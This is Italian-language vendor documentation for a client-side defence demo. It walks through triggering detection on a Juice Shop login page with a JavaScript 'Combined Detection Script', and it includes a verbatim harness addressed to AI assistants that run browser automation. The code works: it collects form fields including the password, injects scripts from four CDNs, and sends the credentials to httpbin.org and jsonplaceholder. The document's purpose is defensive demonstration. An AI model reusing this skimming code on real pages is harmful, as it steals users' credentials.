Salta ai contenuti

Rilevamento dei trigger

CSD monitora il comportamento JavaScript all’interno del browser. A differenza del Firewall per applicazioni web (WAF) o della Difesa Bot, non è possibile attivare il rilevamento CSD tramite comandi curl — è necessaria una reale attività di script lato browser. Lo script combinato seguente attiva tutti e tre i segnali di rilevamento CSD in un’unica esecuzione: raccolta dei campi del modulo, iniezione di script di terze parti da più domini CDN ed esfiltrazione di dati verso endpoint esterni.

  1. Navigare alla pagina di login di Juice Shop all’indirizzo https://botdemo.sales-demo.f5demos.com/#/login

  2. Inserire credenziali fittizie nei campi del modulo — digitare test@example.com nel campo Email e P@ssword123 nel campo Password (non inviare il modulo)

  3. Aprire DevTools (F12 → scheda Console)

    Console DevTools vuota pronta per l'inserimento dello scriptConsole DevTools vuota pronta per l'inserimento dello script
  4. Incollare il seguente script nella console e premere Invio — viene eseguito automaticamente come funzione auto-invocante

    Combined Detection Script
    // CSD Demo — Combined Detection Script
    // Triggers ALL CSD detection signals: field reads, script injection, exfiltration
    (function() {
    console.log('='.repeat(50));
    console.log('[CSD Demo] Combined Detection Script — Starting');
    console.log('='.repeat(50));
    // Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)
    console.log('\n[Formjack] Phase 1: Form field harvesting');
    var inputs = document.querySelectorAll('input');
    var harvested = {};
    inputs.forEach(function(input) {
    var name = input.name || input.id || input.type;
    harvested[name] = input.value || '(empty)';
    });
    console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
    // Phase 2: Inject third-party scripts from 4 CDN domains
    console.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
    var cdns = [
    { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
    { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
    { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
    { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
    ];
    cdns.forEach(function(cdn) {
    var script = document.createElement('script');
    script.src = cdn.url;
    script.onload = function() {
    console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
    };
    script.onerror = function() {
    console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);
    };
    document.head.appendChild(script);
    console.log('[Supply Chain] Injected script tag: ' + cdn.name);
    });
    // Phase 3: Exfiltrate harvested data to external endpoints
    console.log('\n[Exfil] Phase 3: Data exfiltration');
    var payload = JSON.stringify({
    type: 'combined_demo',
    credentials: harvested,
    page: window.location.href,
    timestamp: Date.now()
    });
    fetch('https://www.httpbin.org/post', {
    method: 'POST',
    mode: 'no-cors',
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to www.httpbin.org');
    });
    fetch('https://jsonplaceholder.typicode.com/posts', {
    method: 'POST',
    mode: 'no-cors',
    headers: { 'Content-Type': 'application/json' },
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');
    });
    // Summary
    console.log('\n' + '='.repeat(50));
    console.log('[CSD Demo] Simulation complete');
    console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
    console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');
    console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');
    console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');
    console.log('='.repeat(50));
    })();
  5. Osservare l’output della console [CSD Demo] suddiviso per fasi che conferma ogni passaggio: raccolta dei campi, iniezione di script da 4 domini CDN ed esfiltrazione dei dati. esm.sh fornisce la sintassi dei moduli ES (export default …) — quando caricato come tag <script> classico, questo genera Uncaught SyntaxError: Cannot use import statement outside a module. Questo è previsto e non influisce sul rilevamento CSD (il tag script viene comunque iniettato e la richiesta di rete viene comunque effettuata)

    Output della console dopo l'esecuzione dello script di simulazioneOutput della console dopo l'esecuzione dello script di simulazione

Gli assistenti IA dotati di strumenti di automazione browser (MCP Chrome DevTools, Playwright, Puppeteer) eseguono la simulazione in modo programmatico anziché seguire i passaggi manuali descritti sopra:

  1. Navigare con initScript — navigare prima verso about:blank per garantire un contesto documento pulito, poi navigate_page verso l’URL della pagina di login (ad es. http://$F5XC_DOMAINNAME/#/login) con un initScript che salva i riferimenti nativi a setInterval, clearInterval, fetch e console.log prima che zone.js li modifichi, esegue il polling dei campi del modulo di login, compila le credenziali tramite il setter nativo HTMLInputElement.prototype.value ed esegue immediatamente il Combined Detection Script inline. Utilizzare verbatim l’initScript riportato di seguito.
  2. Chiudere il Banner di Benvenutopress_key con Escape per chiudere il Banner di Benvenuto. Nelle visite successive il banner potrebbe non comparire (cookie persistenti)
  3. Attendere il completamento — attendere 10 secondi affinché tutte le callback di caricamento/errore degli script CDN e le risoluzioni delle promise fetch vengano completate
  4. Acquisire provelist_console_messages per verificare la presenza di [CSD Demo] Simulation complete; list_network_requests filtrato per tipi script e fetch per verificare i codici di stato HTTP

Harness initScript (verbatim — racchiude il Combined Detection Script per l’esecuzione automatizzata):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('input[type="email"]');
var passEl = document.querySelector('input[type="password"]');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

Nota su fetch nativo: Questo harness salva window.fetch.bind(window) per evitare errori di zone.js. Questo è il comportamento corretto per tutte le fasi di simulazione degli attacchi. La mitigazione CSD blocca il caricamento degli script (azzerando i valori src dei tag &lt;script&gt;), non le chiamate fetch(), pertanto il salvataggio del riferimento fetch nativo non influisce sul comportamento di mitigazione. Lo stesso initScript viene utilizzato per la Fase 2 e la Fase 3.

Gli operatori privi di strumenti di automazione browser seguono i passaggi manuali descritti sopra.

La simulazione combinata attiva tutti e tre i segnali di rilevamento CSD:

ComportamentoCosa fa lo scriptCosa vede CSD
Raccolta dei campiLegge i valori dagli elementi input esistenti (email, password)Script che leggono campi sensibili del modulo — segnalato come rischio elevato
Iniezione di scriptAggiunge 4 tag <script> che caricano da cdn.jsdelivr.net, esm.sh, unpkg.com e ga.jspm.io4 nuovi domini di script di terze parti sulla pagina
Esfiltrazione dei datiInvia i dati raccolti tramite fetch a www.httpbin.org e jsonplaceholder.typicode.comChiamate di rete verso domini esterni (nota: le destinazioni fetch compaiono come interazioni di rete degli script, non nella vista del dominio di rete)

Lo script combinato precedente è una versione semplificata a 3 fasi (raccolta, iniezione, esfiltrazione) adatta alla maggior parte delle demo. La Libreria degli script di attacco fornisce 10 script mirati organizzati per tipo di attacco, tra cui un test di stress Rilevamento massimo che aggiunge manipolazione del DOM, esfiltrazione dei cookie e canali image beacon in aggiunta alla copertura dello script combinato. Utilizzare gli script individuali per dimostrare in isolamento specifiche categorie di attacco (formjacking, digital skimming, iniezione nella supply chain, esfiltrazione di dati, manipolazione del DOM).